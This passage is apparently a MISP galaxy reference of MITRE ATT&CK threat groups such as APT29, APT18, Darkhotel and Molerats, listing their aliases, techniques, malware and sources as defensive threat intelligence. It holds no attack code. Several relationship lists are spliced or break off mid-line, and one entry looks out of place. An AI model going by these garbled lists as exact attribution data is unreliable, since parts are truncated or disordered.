- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Kevin - S1020" with estimative-language:likelihood-probability="almost-certain"
Frankenstein - G0101

[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors’ ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019)

The tag is: `misp-galaxy:mitre-intrusion-set="Frankenstein - G0101"`

Frankenstein - G0101 is also known as:

- Frankenstein

PittyTiger - G0011

[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)

The tag is: `misp-galaxy:mitre-intrusion-set="PittyTiger - G0011"`

PittyTiger - G0011 is also known as:

- PittyTiger

View relationships graph

PittyTiger - G0011 has relationships with:

- uses: `misp-galaxy:mitre-malware="Lurid - S0010"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:threat-actor="APT24"` with `estimative-language:likelihood-`
APT16 - G0023

[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-intrusion-set="APT16 - G0023"

APT16 - G0023 is also known as:

- APT16

**View relationships graph**

APT16 - G0023 has relationships with:

- uses: *misp-galaxy:mitre-malware="ELMER - S0064" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"
APT17 - G0025

[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)

The tag is: `misp-galaxy:mitre-intrusion-set="APT17 - G0025"`

APT17 - G0025 is also known as:

- APT17
- Deputy Dog

View relationships graph

APT17 - G0025 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:threat-actor="APT17"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:mitre-malware="BLACKCOFFEE - S0069"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0025">https://attack.mitre.org/groups/G0025</a></td>
</tr>
</tbody>
</table>
APT18 - G0026

[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)

The tag is: `misp-galaxy:mitre-intrusion-set="APT18 - G0026"`

APT18 - G0026 is also known as:

- APT18
- TG-0416
- Dynamite Panda
- Threat Group-0416

View relationships graph

APT18 - G0026 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="SAMURAI PANDA"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="gh0st RAT - S0032"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="APT4"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="APT18"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-malware="hcdLoader - S0071"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Pisloader - S0124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 6439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/">http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0026">https://attack.mitre.org/groups/G0026</a></td>
</tr>
</tbody>
</table>

**APT29 - G0016**

[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia’s Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)

In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM,
StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="APT29 - G0016"`

APT29 - G0016 is also known as:

- APT29
- IRON RITUAL
- IRON HEMLOCK
- NobleBaron
- Dark Halo
- StellarParticle
- NOBELIUM
- UNC2452
- YTTRIUM
- The Dukes
- Cozy Bear
- CozyDuke
- SolarStorm
- Blue Kitsune
- UNC3524

View relationships graph

APT29 - G0016 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Net - S0039"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Sliver - S0633" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="AADInternals - S0677" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="HAMMERTOSS - S0037" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CosmicDuke - S0050" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="EnvyScout - S0634" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TEARDROP - S0560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WellMess - S0514" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="QUIETEXIT - S1084" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ROOTCOCK - S0565" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GoldMax - S0588" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1586.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="POSHEX - T0150" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="MiniDuke - S0051" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="meek - S0175" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="ROADTools - S0684" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="FoggyWeb - S0661" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Cloud Services - T1021.007" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="WellMail - S0515" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="LiteDuke - S0513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="VaporRage - S0636" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Sibot - S0589" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SUNBURST - S0559" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PinchDuke - S0048" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="OnionDuke - S0052" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="NativeZone - S0637" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="GoldFinder - S0597" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="TrailBlazer - S0682" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SUNSPOT - S0562" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BoomBox - S0635" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Administration Command - T1651" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SoreFang - S0516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CozyCar - S0046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6440. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/iron-hemlock">http://www.secureworks.com/research/threat-profiles/iron-hemlock</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0016">https://attack.mitre.org/groups/G0016</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_Targets_US_Allies_UOO13234021.PDF/CSA_SVR_Targets_US_Allies_UOO13234021.PDF">https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_Targets_US_Allies_UOO13234021.PDF/CSA_SVR_Targets_US_Allies_UOO13234021.PDF</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/">https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/">https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/">https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/unc3524-eye-spy-email">https://www.mandiant.com/resources/blog/unc3524-eye-spy-email</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/">https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/</a></td>
</tr>
</tbody>
</table>
BITTER - G1002

BITTER (https://attack.mitre.org/groups/G1002) is a suspected South Asian cyber espionage threat group that has been active since at least 2013. BITTER (https://attack.mitre.org/groups/G1002) has primarily targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia. (Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)

The tag is: misp-galaxy:mitre-intrusion-set="BITTER - G1002"

BITTER - G1002 is also known as:

- BITTER
- T-APT-17

View relationships graph

BITTER - G1002 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-
language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="ZxxZ - S1013" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6441. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1002">https://attack.mitre.org/groups/G1002</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html">https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan">https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan</a></td>
</tr>
</tbody>
</table>

**Darkhotel - G0012**

[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber
Espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks. (Citation: Kaspersky Darkhotel) (Citation: Securelist Darkhotel Aug 2015) (Citation: Microsoft Digital Defense FY20 Sept 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Darkhotel - G0012"`

Darkhotel - G0012 is also known as:

- Darkhotel
- DUBNIUM

View relationships graph

Darkhotel - G0012 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"` with
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"

Table 6442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0012">https://attack.mitre.org/groups/G0012</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/">https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubniunm-stage-2-payload-analysis/">https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubniunm-stage-2-payload-analysis/</a></td>
</tr>
</tbody>
</table>

Evilnum - G0120

[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has
been active since at least 2018. (Citation: ESET EvilNum July 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Evilnum - G0120"

Evilnum - G0120 is also known as:

- Evilnum

View relationships graph

Evilnum - G0120 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="EVILNUM - S0568"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="LaZagne - S0349"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"` with estimative-language:likelihood-probability="almost-certain"

Table 6443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Molerats - G0021

[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2) (Citation: Kaspersky MoleRATs April 2019) (Citation: Cybereason Molerats Dec 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Molerats - G0021"`

Molerats - G0021 is also known as:

- Molerats
- Operation Molerats
- Gaza Cybergang

View relationships graph

Molerats - G0021 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Spark - S0543"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="SharpStage - S0546"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="DropBook - S0547"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


